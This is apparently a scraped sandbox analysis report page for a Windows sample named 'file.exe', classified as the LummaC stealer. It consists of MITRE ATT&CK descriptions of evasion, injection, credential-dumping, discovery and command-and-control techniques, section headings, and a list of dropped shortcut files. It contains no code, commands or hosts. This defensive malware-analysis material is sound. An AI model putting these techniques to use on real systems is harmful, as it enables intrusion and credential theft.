Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Windows Analysis Report
file.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre